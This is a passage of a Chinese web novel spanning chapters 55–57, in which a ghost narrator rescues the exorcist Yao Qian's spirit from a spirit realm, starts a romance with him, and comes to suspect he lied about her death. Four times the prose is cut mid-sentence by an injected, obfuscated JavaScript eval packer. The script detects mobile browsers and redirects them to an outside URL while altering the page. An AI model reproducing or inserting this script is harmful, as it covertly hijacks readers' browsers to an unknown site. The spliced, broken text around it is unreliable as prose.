之前每次进入灵域,作为残灵的我都会以实体的方式存在,土地对我来说也是无法穿过的。唯有这次不一样,我仍然在以残灵的形态活动,可以穿过任何实体。 包括地面。 果然如此,穿过漆黑的地表,广阔的蓝天乍然出现在我的眼前。 我仿佛突然穿越进一个异空间之中,刚刚适应从黑暗变亮的现状,便意识到自己身处在一片山野荒岭之中,既不知道自己是从哪里来的,也丝毫见不到回去的方向。 再下一秒,我便周围的场景所吸引。 距离我不远处,一个身形极为高大,近乎有两米的老者正在说话,他身着古代着装,繁复华丽仿佛电视中的达官显贵。这人满头鹤发,浓密胡须垂至胸前,双目如电,神色暴怒,悬浮在地面之上,显然也是残灵无疑。 不知为何,见到这老者的瞬间,我仿佛被什么击中,一时间思维凝滞,整个残灵停在当空。 分明我从未见过这老者,也并没有什么非同一般的熟悉感牵引着我,但如同是魂灵深处的思维却嗡嗡作响,叫嚣着我不能理解的情绪,仿佛我与眼前这老者具有着某种特殊、发自本源的关联。 这算什么? 我尚且没理出什么所以然,那老者已经抓起了手中的东西,那居然是一个身材矮小的残灵。 这画面实在是十分诡异,两人身高也不过差了三四十公分,老者提着残灵,却如同拎着一只毫无反抗能力的宠物。 “你杀了他,”那老者沉声道,“你知道我花费了多少心血……” 被他抓在手中的残灵想来是无法理解他的愤怒,因为残灵看上去两股战战,已然被恐惧控制了一切。待老者说完这些我暂且无法听懂的话语,那残灵仍然不能回神过来,脸上的恐惧反而是越发的明显。 老者似乎是不愿再多废话,将残灵朝着地上一丢:“死吧。” 怎么死? 我尚在好奇,那被丢到地上的残灵却伴随着爆炸声,轰然炸开了。火光冲开气流,草地一片焦黑。 这巨大的声响令我也不由得悚然一惊,同时也猛地清醒过来。 我来这里并不是来看什么剧情电影,但为什么这两三分钟间,却无法挪开眼睛一般紧紧盯着那古怪的老者? 我来到这里的目的,是为了寻找姚千。 一阵凉意闪电般窜过意识,我来不及思索这之间的古怪,迅速朝着周围看去,寻找姚千的身影。 这多半是姚千的回忆,既然如此,姚千应当是在这里的。 这片回忆与之前多有不同,遥遥延伸的蓝天便是证据。在这之前,从未有如此宽阔、细腻的记忆,即便是与残灵大战的激烈场面,画面也多有遗失模糊之处。而在这里,一切却都很清晰,草地广阔,树木繁密,远方山地起伏,令我一时也无法找到姚千所在何处。 “好了。”耳边又响起老者的声音。 “看到你们了。” 下一秒,正在我左前方不远处,几个人的身影突然浮现出来,似乎是隐身相关的灵能力突然失效。 这几人中,正有姚千的身影。 又或者说,这并不是回忆中的姚千,而正是姚千本人。 这一瞬,我顾不上那回忆里令人在意的老者究竟还要作何动作,冲上前去,一把朝姚千的手腕抓去。 ——抓住了。 是姚千的魂灵。 尽管并不存在真实的呼吸系统,我还是忍不住长舒一口气。 心头大石尚未落地,橙色的火舌骤然间不知从何处窜出,舔舐上我手臂的瞬间,整条手臂被灼烧成一块焦炭,而后崩裂成几块,顺着重力作用往草地上掉去。 我扯扯嘴角,攥住姚千手腕的力道并没有减轻。 幻觉是来自于论坛帖主许芷白的能力,虽然不知道这能力到底与这个残灵的灵域进行了怎样的结合,但一路走来,我心中也对这种灵能力诸多防备。 可惜直到这最后关头,才被使用出来——还十分拙劣。 我一个残灵,就算身体会会被烧成焦炭,这焦炭怎么可能会往地上落去?我自己都不受到重力的束缚! 果然如此,对灵能力而言,使用者的使用方式才是最为重要的,尤其是幻觉这种极需操作技巧的能力。 太烂了,怪不得这残灵一直没有使用。我在心中嘲讽着那残灵的灵能力,已经扯着姚千的魂灵朝着天空上方飞去。 是的,这地方天地广阔,进来后便丝毫找不到出去的方法。但这对我而言又有何干系?沉入地面之前,我便将片羽的一端留在了地面之上。 此时此刻,只需要顺着片羽原路返回即可。 出乎我意料之外,除了那愚蠢的幻觉之外,居然再没有什么其他阻挠的手段了。 直到我拉着姚千回到地上那原本的一片黑暗之中,周围再次又回复了寂静。我用片羽擦亮火苗,照亮被我抓在手里带上来的姚千,这人一直不说话,导致我一直来不及判断这人现在究竟是什么状态。 方才第一眼见到他,他好似 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14612379|150322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还沉浸在当时的回忆之中,神色痛苦,而现今,却又好像渐渐恢复正常,见到光亮,抬眼与我对视。 我想起一种十分糟糕的可能性,这残灵不再阻挠我带走姚千,多半是因为姚千在它那里已经失去了利用价值。它已经取走了姚千的灵能力。 “你的灵能力还能用吗?”我立刻朝姚千问道。 姚千反应尚且有些迟钝,伸出手,一团旋风在他手中打转,像是个陀螺玩具。我这才放下心来,哄小孩一样拍拍他手臂:“你饭碗没事就好。” 看上去,这残灵取走灵能力者的灵能力,并不妨碍原身对灵能力的使用。而之所以要杀死娄杉、许芷白她们,恐怕只是因为不想露馅罢了。 姚千的神色像是这才渐渐回到现实中来,看着我道:“你没事。” 我在他眼中闪动着极为复杂的情绪,竟然也分辨不出来他究竟在想什么,眨眨眼道:“我怎么了?” “刚才我以为,你已经死了。”他语气艰涩。 一边说着,他反手,紧紧牵住了我的手。 十指相扣的感觉十分古怪,我下意识想要甩开他,但鬼使神差地没有动。 我很快意识到,姚千的意识大概还停留在刚才的画面中,那片有着奇怪老者的山野草原之中,他还没有从回忆中走出去。 “所以……”我皱起眉,“我是死在那个地方?” 姚千茫然地看我,似乎不明白我在说什么,过了两秒又向我强调:“你没有死。” 我叹口气,感到鸡同鸭讲,双手拍拍对方的脸颊,与他对视,认真道:“姚大师,你醒一醒。你现在不是小姚同学了,我也已经死了很多年了。” 姚千沉默了,目光几度变化,似乎过去了十分漫长的时间,他才轻轻点头,道:“抱歉。” 过了两秒,他又轻声重复:“抱歉。” 我不明白他在道歉什么,只是看着他的神色和语气,心中也忍不住揪紧,好像也能切身感觉到他的痛苦一样——分明我连他为什么痛苦都不知道。 还没开口,姚千便再度问道:“你怎么来了?”看样子确实已经回到现实中来了。 “……”说到这个,我实在控制不住,冷笑一声,“你来这里干什么?” 姚千也沉默了。 “算了,回头再跟你说。”我不想在如此危险的环境中浪费时间进行《生病时不能擅自行动》的相关训诫,再次抓紧他的手腕,朝他交代道,“接下来,我们去找你的身体。” 这句话虽然听起来有些惊悚,却也是没有办法。姚千现今魂灵和身体分离,魂灵虽然被我拽在手中,身体却还不知所踪。 好在智慧如本人,早已经制定好寻找姚千身体的一套可行方案。 姚千的魂灵已然摆脱了残灵的控制,那些不断在灵域中闪动的回忆也全然消失,原本还算热闹的灵域彻底变得寂静一片。 沿着片羽指引的方向,我和姚千在灵域中加速穿行着。姚千似乎还不习惯使用魂灵的形态活动,总下意识要使用双腿奔跑,因而移动速度相较我还是差了一大截。 太过安静的环境反而使人心中不安,没有两分钟,我便开口道:“你知道吗,刚才在这里,全部是你的回忆。” 55. 驱灵师之死15 被我抓住的手腕微不可查地一动,被我敏锐地捕捉到了。终于有了这种我知道而姚千不知道的事情,这变化令我心中十分满意。 姚千在身后道:“我隐约有感知,但并不十分清楚。” “那是你让外界记忆的流速变慢的吧?”我问。 姚千道:“对,我只能做到这么多了。” “做得很好,帮大忙了。”我腾出一只手,摸摸姚千的脑袋,夸奖他。 我听到姚千失笑:“怎么回事。感觉你的确看了很多我的记忆,尤其是记忆里的你。” “是啊。”我道,“并没有故意侵犯你隐私权的意思,实在是……没有办法。”我虚伪地隐瞒了自己其实也看得津津有味的事实。 大概是因为我这句话连语气都缺乏基本的真诚,姚千听起来并不相信,敷衍道:“好的。” “尽管如此,也确实了解了很多。”我顺着话题继续说下去,“只是可惜,看了那么多有关于我的画面,仍然什么也想不起来。” 我本以为这些直观的场面对我能够有所触动,但那些失去的回忆就好像是掉进了另外一个次元,如此这般也没能想起来任何一点。加起来都还不如见到那个古怪老人给我的印象深刻。 “那也没有办法。” 姚千语气平静地安慰我,但或许是因为如今的我对他已经有了充分了解,能够从他的语气中精准捕捉到其中不易察觉的失望。 我道:“但是我又觉得,生前的我或许确实很喜欢你。” 为了防止刀刃的突然偷袭,这段路程中,我一直用片羽点燃火焰护在周围。然而因为我拽着姚千走在前面,所以也看不到姚千的表情。只是说出这句话的瞬间,姚千移动的速度似乎慢了一瞬,紧接着又恢复寻常,跟了上来。 视野在被火焰照亮的虚无中不断逡巡,脑子里却好像闪回着许多其他的、充满情节和内容的画面。 话都说到这里了,好像开了口就不能停下。 我抓紧了姚千的手腕,仿佛是作为人类的后遗症不能完全过去,我莫名感觉到指尖发烫,古怪犹如被截肢后的幻痛。 一边戒备着周围可能出现的危险,我一边自顾自地继续道:“虽然之前的事情我仍然不清楚……好吧,现在多少算是知道了一部分。” “如果你仍然觉得喜欢我,并且不介意和残灵谈恋爱。”我仍然没有看姚千,只是这样问他,语气大概也算是很真诚。 “我们就在一起,怎么样?” 过了两秒,姚千才道:“这是什么意思?” 我无从分析他话语里的情绪,想了想才道:“就是我也喜欢你的意思,姚千。” 我也无法解释这种感觉来自于何处。 或许因为姚千这幅好看长相确实符合我的审美爱好,或许他看上去对我的确也关心备至,又或者由于此人也算得上是一位优秀的灵能力者,而我正巧也欣赏这一点。再有可能,我恰恰就是会对这种具有并不太良好性格的人产生古怪的关切欲望。 换句稍显浪漫的表达方式,无论失忆前还是失忆后,苏吉光大概就是会喜欢上姚千的。 虽然我也无从揣测曾经的我到底对姚千是何种感觉——在我看过的许多回忆中,并不存在任何恋爱情节。 姚千在我身后嗯了一声。 我于是敲定:“那就算确定了?” “好。”姚千这时候倒突然谨言慎语起来了,分明之前在自己家时还很能说的样子。 不过在这里还是少说为好,得到姚千的肯定回答,我心头略微放松,随即意识到自己实在是有些太嚣张了,身在灵域里居然还要进行如此危险的行径。那残灵若是守在一边跟踪我们,恐怕也会因为我不尊重的轻视行为而愤怒的。 想到这里,我也已经来到了片羽所预先埋伏好的地点。 我放慢速度,又前进十多步,如同计划中一样,摸到了无法通过的地域,也就是灵域的边界。 姚千看着我伸手抚摸着灵域边界的动作,问道:“你的计划是?” “你知道自己的身体现在在哪里吗?”我问。 姚千道:“当然不知道。” “嗯,我也不知道。”我说出一句废话,“但我现在有一条线索。当时,我在现场亲眼见到了娄杉的尸体,并且仔细观察过。积灰的程度十分均匀,说明身体已经在那里很久没有移动过,应当在三天以上。” 得到我的提示,姚千接道:“所以,娄杉的身体一直处于灵域和现实的交界处。” “对。”我道,“所以你的身体大概率也是在灵域的边缘地带。之前我进入灵域时,将片羽一端落在了灵域边缘,只要我们沿着边缘前行,就能够找到你的身体。” 我说得很肯定,但其实心中也没有完全的把握,只是不太想让姚千感到不安。毕竟此事事关生死,就算姚千平日里一贯表现得很淡定,现在心里应当也相当害怕吧。 我看向姚千,想向对方展示一个安慰的笑,却发现姚千眼神飘忽,平静神色下掩藏愉快,显然并不是在思考有关于生死的问题。 我有点无语,看样子姚千并不需要安慰。 我们沿着灵域边缘继续前行,不得不说,这一路竟然顺利得近乎于异常,又行进了十多分钟,姚千也适应了魂灵的状态,速度逐渐提了上来。在又一个灵域通往现实的出口处,我看到了姚千躺在储藏室之中的身体。 直到此时,我一颗吊着的心才松了下来,回神,发现自己正紧紧握着姚千的手。看起来,倒好像是我比较紧张。 “非常好,我的推测果然是正确的。”我不忘记夸了自己一句,朝姚千道,“踏出这个储藏室,应该就能回到自己的身体中了。魂灵和身体应该是天然吸引的吧。” 我想起在桃源村那些回到身体中的魂灵,想来也没有做什么特别的措施,魂灵便可以回到身体之中。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14625120|150322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 姚千也肯定我的猜测:“对。” 这样说着,他却还没动,目光隐隐瞥向我们正牵着的手。 我无从猜测他目光的含义,只是这一刻心里也觉得有些遗憾。灵域里,姚千的魂灵正以灵力形式而具象化,我才能触碰到他。 在这之后,我又要变成残害人类身体的残灵了。 没想到,我居然有一天会做出这种感慨。 松开姚千的手,我在姚千脸上也看到转瞬即逝的失望。下一秒,我突然伸手扶住姚千的下巴,眨眨眼睛,很是认真地询问对方的意见:“好吧,我承认这有点快。但是机不可失,时不再来。也并不是说这是个好时机……” 我说着说着,自己也罕见的语无伦次:“我觉得还是应该抓住这个机会,你……”觉得呢? 姚千凑上来,打断我诚恳的询问,吻住我。 这是一个很轻的、温和且短暂的吻,并且非常不合时宜、非常危险。 所谓行百里者半九十,越是最后时刻,越不能节外生枝。我深刻地明白这个道理……好吧,看上去也没多深刻。 我在心里开着这种小差,忍不住笑了。 姚千不明所以地看我,我拽着姚千,将他推向灵域外,他自己的身体。我跟着踏出灵域之外。 灵域中的一切极速消失在我的眼前,储藏室的天窗投进成缕的月光,穿透我不存在的身体,将我拉回现实。 接下来,我利用教学楼里的电脑,通知了南哲等人。 赶在医科大校园里第一缕晨光亮起之前,姚千终于被带了出来。他的身体尚且处于昏迷状态,好在心脏的跳动还算规律。 等到上了救护车,我听到医生表示患者并没有生命危险,这才放心离开,拒绝做干扰病人健康的坏稻草。 中午时分,在南哲家客厅玩手机的我收到了姚千醒来的消息。 南哲忍不住在电话中跟我感叹:“医生说,由于发烧,病人的缺水情况很严重。如果再拖个一天半天,极有可能出现生命危险。” “如果没有你,姚先生这次的情况会糟糕很多。” 我问:“那你们教育他了吗?发着烧跑到灵域里,和作死有什么区别?” 从医院回来的我,越想到这件事越生气,甚至上升到姚千其人是不是智商存在问题,如此弱智决策究竟是不是使用大脑做出来的。 南哲在电话那边轻轻地额了一声,而后语气一转,略带歉意地道:“其实,这次也不能全怪杨先生。杨哥跟我说了,这次是他的工作有问题。” “许芷白的灵能力是幻觉相关的,这条情报,杨哥当时没有告诉姚先生。或许如果不是这个原因,即便发烧,姚先生也不会陷入这样的情况吧。” “这有什么关系吗?”我不解。 “具体的我也不太清楚……总之因为一些原因吧,从几年前起,姚先生就不接受灵能力与幻觉有关的任务了。” 56. 驱灵师之死16 “我了解得不算详细。”南哲如此解释道,“或许你看过一些电影电视里的情节,有些生成幻觉的灵能力,可以勾起人内心中最为脆弱的记忆和情绪。 “普通的幻觉,或许还有不合情理之处,只要冷静应对,就能够找出破绽。 “但如果涉及到人心中脆弱的情感,情绪失控的驱灵师,便会处于十分危险的境况。” “越是容易受到此类影响的驱灵师,越是会刻意回避与此相关的残灵。”南哲说得相当委婉,“姚先生大概也是这样。” 我想起那个残灵对我施展的蹩脚幻觉,恍然大悟:“原来,是因为我根本没有悲情记忆。” 本以为是这残灵水平太差,搞了半天竟是因为我无悲则刚。 “或许吧。”南哲笑道。 “不过杨哥跟我说过,你当年作为驱灵师时,也从不担心这类残灵。” “也就是说,我当人类的时候,也缺少这类记忆?” 我本想感叹这是何等一帆顺风的人生,但很快想到,苏吉光是孤儿院出身,拥有此类人生的可能性几乎为零。 再想问,南哲知道的也仅限于此了。 其后过了一天时间,外省的驱灵师终于赶到,一共三人,大概都是南哲和我聊过的那种“并不担心幻觉残灵”的驱灵师。 南哲向他们交代了关于这个灵域之前的情况,当然有关于我进入灵域里的相关情况也一起说清楚来了。随后三人经过表决,希望我作为有经验者,能够加入团队,和他们一起行动。 我自然义不容辞,一口应下,当晚便来到了医科大附近的集合地点。 在场的除了南哲便是其余三人,我还没来得及观察接下来合作伙伴的精神面貌,便被为首者的一个猛扑,吓得后撤三米。 “小苏姐!!” 我反应两秒,才意识到来人叫的是我。 此间语气,三分亲昵、四分激动、五分热情——充斥了十二分的感情,可谓情绪浓烈,令残灵害怕。 虽然不存在实体,但我还是果断隔开五米安全距离,打量眼含热泪的来人。 眼前人肤色健康,瓜子脸大眼睛,浅茶瞳色,睫毛卷翘,闪动出成熟绮丽的美感,衣着干练利落,充斥职业风范。 我了然地指指自己:“你认识我?” 那人深吸一口气,沉重叹道:“天杀的姚千说得果然不错,你不认识我了。” 我扯扯嘴角,有点想笑:“你叫阮之秋?” 今天下午南哲就此事询问本人意愿时,我正在和姚千视频聊天。输了一天液,他已经恢复得七七八八,明天即可出院。 听到南哲提到的三人名字,余光中我看到姚千的神色变了变。我问姚千:“怎么,里面有熟人?” “阮之秋,她怎么来了?”姚千显然是问向南哲。 南哲看看资料,唔了一声:“怎么了,她主动接的这个任务,资质水平也都符合要求,没问题啊。你认识她?” “不认识。”姚千略微眯起眼,看上去仍然缺少表情。 我乐了:“你怎么像个小孩?” 姚千睁眼看我,眼含控诉,仿佛我凭空污他清白。 “所以,她是认识我?”我想到第二种可能。 姚千点头承认了,具体的再不多说,因而我也只是对阮之秋这一名字略有印象。 看到她种种表现,似乎与我也不是一般的熟悉。我有点想询问她和苏吉光之间的交情,可惜任务时间紧张,最好是能够趁今夜完成。 于是我和新认识的这三人互相认识一番,了解了彼此的灵能力,又着重于灵域里残灵的情况分析一番,便进入了灵域。 说实话,从这个灵域中全须全尾地出来过一次,我心中已经失去了对它基本的畏惧和尊重。哪怕知道其中残灵可以制造直达人内心痛处的回忆,也没有改变我的想法——毕竟对我又没影响。 最多不过是在寻找残灵上需要多费些功夫,而阮之秋又称自己对此十分擅长。 “我的能力是使用灵力强化自身。”阮之秋道,“所以我灵力的存在十分敏感,在灵域中还可以通过灵力对这一能力再次强化。小苏姐说这个灵域面积不大,只要距离不超过100米,我多半就能感知到那个残灵的存在。” 我接上话:“我的灵能力可以在灵域中固定坐标,可以进一步防止在灵域中出现的迷路。” 阮之秋眨眨眼,朝我靠得近了些,看起来很高兴的样子:“果然我和小苏姐特别适合合作。” 我怀疑如果不是我是个没有形状的残灵,她这会儿胳膊就要挎到我臂弯里了。虽然我也不反感就是。 另一位队友语气沉稳提出问题:“如果我所记不错,这是一个移动型灵域,那我们在寻找灵域上应当也会花费不少时间。” “这点不用担心。” 我愉快回道,“我的片羽还留在灵域内,跟随指引,很快就能找到灵域。” 说完这句话,在场四人的神色似有裂纹,南哲略微茫然地追问一句:“离开灵域后你来了医院,又回到我家,难道一直系着线吗?” “当然不是。”我立刻道,“那未免也太长了,我把线留在了学校里。”抬手一指,“就门口的那根柱子。” “现在还在?”刚才提出问题的队友问道。 我点头:“当然。” 她的神色怔忪一秒,笑道:“虽然来之前就听说苏吉光在这里,但是第一次见你,尽管是残灵,还真是令人吃惊。” 从她的语气来看,这似乎是一种十分高难度的灵力使用方式。 随后我抽时间针对这个问题询问了始终走在我身边的阮之秋,她想了想回道:“你不觉得,灵能力离开你那么遥远,竟然还能维持形状而不消散,是一件十分神奇的事情吗?” 我思考两秒:“既然我提问了,就说明这对于我来说并不十分困难。” 阮之秋点点头,声音低了些:“这或许是由于残灵性质所决定的。小苏姐,根据我的了解,你……生前,是做不到这件事情的。” 我很有兴趣地问:“我们那么熟悉吗?” 阮之秋弯起唇角,似乎是涂了唇膏,阳光下她的唇色闪闪发亮,看我的眼神里有天真纯质的神采,笑得很开心:“那是当然。我们关系很好的,我可是你看着长大的。” 我恍然大悟:“你也是孤儿院出身?” “没错。” 这一路上,由于阮之秋和我不断聊天,无聊的赶路竟然也显得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14642545|150322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 十分充实。我第一次遇到这样了解我过往又充斥倾诉热情的人类,是以听得十分满足,补充了许多苏吉光十四岁之前的人生往事。虽然还是没能勾起我任何关于往事的回忆。 我怀疑我失去的那些回忆并非沉睡,而是已经死得透彻,骨灰都洒进大海飘走三千里了。否则怎么会到现在还毫无踪迹? 进入灵域的过程也平平无奇。非要说的话就是我终于见到了被回忆所控制的人类是什么样子——我心中不由得联想起姚千是否也是这样,还没等我灵活运用想象力得出结论,队友便已经被先一步脱出幻觉的阮之秋一掌打晕。 阮之秋利落地将昏迷的青年扛在肩膀上,轻松之态像是扛了一提卫生纸。发现我在看她,阮之秋下意识颠了颠那人,手法温柔了些,朝我解释:“这是最方便的方法,没事,我打得很轻,等会儿他就能醒过来了。” 我:“……好的。” 结果就是直到和残灵正面遇上,一场团战结束,那位驱灵师才悠悠醒来,发现自己已经坐在学校教学楼的天台上,左右打量一会儿,茫然转向我们:“我们出来了……?” 另一位队友告诉他:“没错,可以回去交任务了。” 阮之秋喊我:“姐姐,走了。” 我这才从沉思中霍然转醒,不自觉皱起了眉。 阮之秋盯着我的脸,似乎察觉到什么:“姐姐,怎么了吗?” “没事……”我一顿,道,“我好像也中了那个残灵的幻觉。” 阮之秋的嘴巴张了张,道:“现在还好吗?” 我闭了闭眼:“没事。毕竟它已经死了,幻觉自然也消失了。” 三个人类收拾了身上的着装,此时天色已经大亮,接近第二日中午。走廊里传来教师授课的声音,他们装成来学校办事的普通人,匆匆从学校离开。 任务完成得如此顺利,大概也出乎南哲他们的预计,接到我们打来的电话,她语气听起来很高兴,道:“我们在学校附近订了个房间等你们,你们快过来吧。” 她又问:“小苏在吗?姚先生出院后一定要过来,现在正在这里等你。” 我哦了一声:“那你跟他说,我太累了,就不过去了。他身体也不好,有事情电话联系。” “好的,诶,”南哲刚说完,手机那边传来轻微的嘈杂声,仿佛是有人从她手中抢走了手机,姚千在电话那边问道,“吉光,出什么事了吗?” 他说话的语气仍然跟之前一样,平淡温和,缺乏语气,但又能恰到好处令我感到关心态度。我尚没想好怎么回答,拿着手机的阮之秋便笑眯眯道:“小苏姐没在电话这边了哦。” 说罢,阮之秋按下挂机键,将姚千脱口而出的“阮之——”截断在电话里。 她脸上的笑容真切愉快,我隐约在其中察觉到一丝报复的快乐。 两人一定是认识的,并且关系不太好,我默默下了这样的论断。 “姐姐,你等会儿要去哪里?”阮之秋又问我。 我想说自然是去南哲家里,但这个住址想必很容易被姚千知道而找上门来。现在我并不想见他。趁着我思考的片刻,阮之秋又做出邀请,“我打算在这里住一阵子,刚租了房子,姐姐,你要来我这里住几天吗?” 57. 驱灵师之死17 任谊曾经在闲聊时抱着科学态度问过我一个问题:残灵会不会做梦? 他好奇的点在于,梦到底是所谓人类大脑无意识的活动,还是魂灵情绪的一种表达形式? 我的答案是会,至少我是会做梦的,只是次数很少,形式单调。我对此解释为是生活的阅历很少,缺乏素材。 任务结束,阮之秋还需要进行汇报。而根据阮之秋给我的地址,我先行到了阮之秋的家里。等待她回来的时间里,我附进客厅的沙发——尽管无论桌子还是沙发,我都无法感受到其质感,但毕竟从视觉而言还是沙发比较令残灵舒适——浅浅地睡了一会儿。 这一会儿竟然也不安生,我做了关于那段记忆的梦。 那是残灵试图用幻觉动摇我所做出的最后努力。 大概在我的回忆里实在无法发掘到有用信息,它终于从姚千的记忆里找到了认为足以令我情绪失控的东西。 幻觉里的画面如此清晰,细节也丰富,与我了解不了解的结合在一起,看不出错漏,很难被认定为捏造产物。 睡梦里,我再次以第三人的视角观看这段画面,对自己进行了短暂的反思。 其实即便没有这些,我心想,我也应当察觉出来的。 姚千为什么要复制石娅的灵能力,从桃源村回来的当晚又为什么会面对着我突然淌下泪来。如果他确实不知道我是如何死亡的,那么灵域中,姚千魂灵看到的、存在有古怪老者的那个场景又是什么? 那显然是确定我死亡的画面之一。 结合我所见到的所有画面,答案已经再简单不过。 失去我死亡的记忆是真的,但姚千对我说的话是假的。 再次遇到我的姚千,早已经通过复制石娅的灵能力,恢复了他的记忆。也就是说,从桃源村灵域回来,他一直都知道我是怎样死去的。 但是他始终否认,拒绝告诉我真相。 我承认自己对姚千感情的原因之一,来自回忆中姚千与医生的对话。这一幕确定了姚千失忆的事实,抹去了我对他最后的怀疑。 然而推翻来得如此迅速,我这本就不太合理的恋情还没新鲜两天,便在分崩离析的边缘摇摇欲坠。 这种时候,或许我应该询问姚千真相到底如何,坚决不做某些影视作品里拒绝沟通、令观众着急的主角。 可另一个问题也摆在我面前:即便姚千再度给出我一个答案,我还会相信吗? 当然不会。 无论他说什么,我都不能再心无芥蒂地接受新答案。那个事件的幸存者只有姚千一人,客观存在的过往已经很难被证实,变成了虚无缥缈、任人粉饰的故事。 而我再也不可能相信这个故事。 阮之秋从外面回来的时候,已经是傍晚时分,我坐在手机前愉快地打着手机游戏。由于我并没有身体这种麻烦东西,操纵游戏变得异常简单,几乎不会卡关,阮之秋朝我打招呼的时候,我已经打通了主线的一半关卡。 “吃饭了吗?”我像正常人类一样询问这个问题。 阮之秋朝我笑笑:“在外面吃过了。” 她看起来有些疲惫,但还是很有聊天兴致的样子:“地址好找吗?下午在这里无不无聊?” 没等我说话,她又笑道:“今天我的工作就算完成了,接下来半个月都没有事情,姐姐有什么想做的我都可以陪着。” 我正要说话,她将自己陷进沙发,又自顾自地继续道:“其实也不应该叫你姐姐的,小苏姐,你看起来比我还小了。” 我终于问她:“你多大了?” “二十七岁,比你小两岁。”她说。 我知道我看上去是什么样子,在风铃游乐园时,我又借着厕所维护得干干净净的镜子,仔细地打量过自己好几次。我还是二十出头的年轻人——永远停留在我死去的那一年。 我想起乐语提到过,现在阮之秋同样这样说,这显然是人之常情,多年不见的故人还是当年的样子,多少该给人感慨的空间。 但是姚千从来没有这样说过,回忆里叫我名字的后两字,现在也这样称呼,缺少改变,缺少情感流露,让人很难摸透他到底是怎么想的。 我说:“那你也不用叫我姐姐,叫我什么都好。” “我从小叫到大的。”阮之秋否决了这一提议,“而且说不定我多叫叫,你就能想起来了呢?” 我在灵域里看了那么多回忆都没能想起来,自然对此不抱期望。而随着经历了这么多,我也逐渐有了新的想法。 姚千曾经说过,残灵是因为执念而出现的,而一个失忆的残灵不会有执念存在。从另一方面说,失去记忆的我原本就不应当出现。 但我还是出现了,这证明包含着我记忆的执念,必然也是存在的,而非彻底遗失。 然而看到这么多回忆片段的我仍然无法恢复丝毫记忆,或许正说明了一点——失去的记忆并不在我的身上。 我的回忆遗失在了其他地方。 甚至并不只是我生前的回忆,难道我作为残灵是在我死后八年才突然诞生的吗? 我遗失的,或许还有我作为残灵八年来的记忆。 “小秋,”我按照阮之秋的要求这样称呼她,“你知道我的尸体在什么地方吗?” 阮之秋听到这个问题的表情比我想象得奇怪,她沉默片刻,道:“我不知道。” 我还没来得及问为什么,她便道,“姐姐,你没有尸体。城外墓园有你的墓碑,但是那里埋着的不是你的尸体。” 她描述了一个相当残酷的现实:“你尸骨无存,姐姐。” “为什么会这样?”我问,“我之前见到的残灵,也只是破坏人类的魂灵而已。” 阮之秋默了默:“其实详细的我也不了解,但确实是存在那种残灵的,那之前我也听过相关的事情。驱灵师本来就是危险的职业,有些危险的情况下,驱灵师也确实不能带回同伴的尸体。” “那起事件里还有其他遇害的驱灵师吧。”我问,“他们的尸体找到了吗?” 阮之秋似乎陷入了片刻的回忆,接着道:“我印象中,当时我和其中一位驱灵师还算有些交情,于是去参加了他的追悼会……我记得那是有骨灰盒的。” 我皱起眉:“也就是说,虽然死在了同一个事件里,但是有些人有尸体,但是我没有?” 阮之秋有些自责道:“抱歉姐姐,这件事我当年没有仔细调查过。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14654726|150322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我没有责怪你的意思……”这次我话没说完,阮之秋已经从外套口袋里拿出手机,打通了不知是谁的电话。 我等待片刻,阮之秋已经打到了第四个电话,与电话那边的每个人热情交谈,询问当年的情况。 不到片刻,她已经得到了答案,而我从电话那边也听出味道。虽然这个事件在当年被多番封锁过,但是放在八年前的今天,似乎已经不能算是边角都摸不得的绝密。 于是最后接到电话的那个人告诉了阮之秋问题的答案:“现场只有那七位驱灵师和姚千,没有苏吉光的尸体。” “而且留在现场的,也并不是七位驱灵师的尸体,当时他们还活着。” “只是躯体还在,魂灵已经消失了。” 魂灵彻底消失的躯体与桃源村的受害者尚且不同,完全无法自主进食,即便被救回来,也撑不过几天。等待这些驱灵师的最终命运还是死亡,这也是为什么阮之秋会参加他们的葬礼。 